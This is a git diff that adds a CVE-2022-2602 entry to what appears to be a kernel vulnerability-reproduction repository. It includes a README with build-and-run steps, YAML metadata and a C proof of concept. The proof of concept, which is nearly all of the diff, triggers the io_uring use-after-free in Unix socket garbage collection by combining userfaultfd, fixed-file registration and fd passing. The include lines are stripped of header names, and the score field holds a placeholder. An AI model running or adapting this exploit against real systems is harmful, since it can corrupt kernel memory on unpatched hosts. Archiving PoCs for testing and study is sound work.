diff --git a/cve/linux-kernel/2022/CVE-2022-2602/README.md b/cve/linux-kernel/2022/CVE-2022-2602/README.md new file mode 100644 index 0000000000000000000000000000000000000000..ccaf80aa301dfaed97b2ce40dd71ab09ef5fc5df --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2602/README.md @@ -0,0 +1,6 @@ +### 漏洞复现 +```shell +$ gcc poc.c -o poc +$ chmod +x ./poc +$ ./poc +``` \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-2602/poc.c b/cve/linux-kernel/2022/CVE-2022-2602/poc.c new file mode 100644 index 0000000000000000000000000000000000000000..89696fba578666bc2a8069eb39093ddbd93ba6e4 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2602/poc.c @@ -0,0 +1,174 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static int userfaultfd(int flags) +{ + return syscall(__NR_userfaultfd, flags); +} + +static char buffer[4096]; +static void fault_manager(int ufd) +{ + struct uffd_msg msg; + struct uffdio_copy copy; + read(ufd, &msg, sizeof(msg)); + if (msg.event != UFFD_EVENT_PAGEFAULT) + err(1, "event not pagefault"); + copy.dst = msg.arg.pagefault.address; + copy.src = (long) buffer; + copy.len = 4096; + copy.mode = 0; + copy.copy = 0; + sleep(2); + ioctl(ufd, UFFDIO_COPY, ©); + close(ufd); +} + +static char *bogus; + +static void start_ufd(int ufd) +{ + struct uffdio_api api; + struct uffdio_register reg; + + bogus = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + + api.api = UFFD_API; + api.features = 0; + api.ioctls = 0; + ioctl(ufd, UFFDIO_API, &api); + + reg.range.start = (long) bogus; + reg.range.len = 4096; + reg.mode = UFFDIO_REGISTER_MODE_MISSING; + reg.ioctls = 0; + + ioctl(ufd, UFFDIO_REGISTER, ®); +} + + +int sendfd(int s, int fd) +{ + struct msghdr msg; + char buf[4096]; + struct cmsghdr *cmsg; + int fds[1] = { fd }; + + memset(&msg, 0, sizeof(msg)); + memset(buf, 0, sizeof(buf)); + + msg.msg_control = buf; + msg.msg_controllen = sizeof(buf); + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(fds)); + memcpy(CMSG_DATA(cmsg), fds, sizeof(fds)); + + msg.msg_controllen = CMSG_SPACE(sizeof(fds)); + + sendmsg(s, &msg, 0); +} + +int io_uring_setup(int r, void *p) +{ + return syscall(__NR_io_uring_setup, r, p); +} + +int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig) +{ + return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, sig); +} + +int io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args) +{ + return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); +} + +int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring) +{ + struct io_uring_sqe *sqe; + io_uring_queue_mmap(fd, params, ring); + sqe = io_uring_get_sqe(ring); + sqe->opcode = IORING_OP_WRITEV; + sqe->fd = 1; + sqe->addr = (long) bogus; + sqe->len = 1; + sqe->flags = IOSQE_FIXED_FILE; +} + +int main(int argc, char **argv) +{ + int ufd; + pid_t manager; + + struct io_uring ring; + int fd; + struct io_uring_params *params; + int rfd[32]; + int s[2]; + int backup_fd; + + struct iovec *iov; + iov = (void *) buffer; + iov->iov_base = "hello, world!\n"; + iov->iov_len = 14; + + ufd = userfaultfd(0); + if (ufd < 0) + err(1, "userfaultfd"); + start_ufd(ufd); + + if ((manager = fork()) == 0) { + fault_manager(ufd); + exit(0); + } + close(ufd); + + socketpair(AF_UNIX, SOCK_DGRAM, 0, s); + + params = malloc(sizeof(*params)); + memset(params, 0, sizeof(*params)); + params->flags = IORING_SETUP_SQPOLL; + fd = io_uring_setup(32, params); + + rfd[0] = s[1]; + rfd[1] = open("null", O_RDWR | O_CREAT | O_TRUNC, 0644); + io_uring_register(fd, IORING_REGISTER_FILES, rfd, 2); + close(rfd[1]); + + sendfd(s[0], fd); + + close(s[0]); + close(s[1]); + + prepare_request(fd, params, &ring); + io_uring_submit(&ring); + + io_uring_queue_exit(&ring); + + sleep(1); + + close(socket(AF_UNIX, SOCK_DGRAM, 0)); + + wait(NULL); + wait(NULL); + + return 0; +} diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-2602.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-2602.yaml new file mode 100644 index 0000000000000000000000000000000000000000..1f1fc84d8f2899ce73f3edda97883d5d010feafc --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-2602.yaml @@ -0,0 +1,19 @@ +id: CVE-2022-2602 +source: https://seclists.org/oss-sec/2022/q4/57 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + io_uring UAF, Unix SCM garbage collection + scope-of-influence: + Linux kernel < 5.10.149-1 + reference: + - https://ubuntu.com/security/CVE-2022-2602 + classification: + cvss-metrics: CVSS:3.1 + cvss-score: 漏洞评分 + cve-id: CVE-2022-2602 + cwe-id: None + cnvd-id: None + kve-id: None + tags: cve2022,UAF \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 3bb29fe3d64937514c391257ab91c5647bec3d53..54fe63098128b49cae181b27da96d1bed8a3667c 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -4,6 +4,7 @@ cve: - CVE-2021-33909 - CVE-2022-0995 - CVE-2022-1015 + - CVE-2022-2602 polkit: - CVE-2021-3560 redis: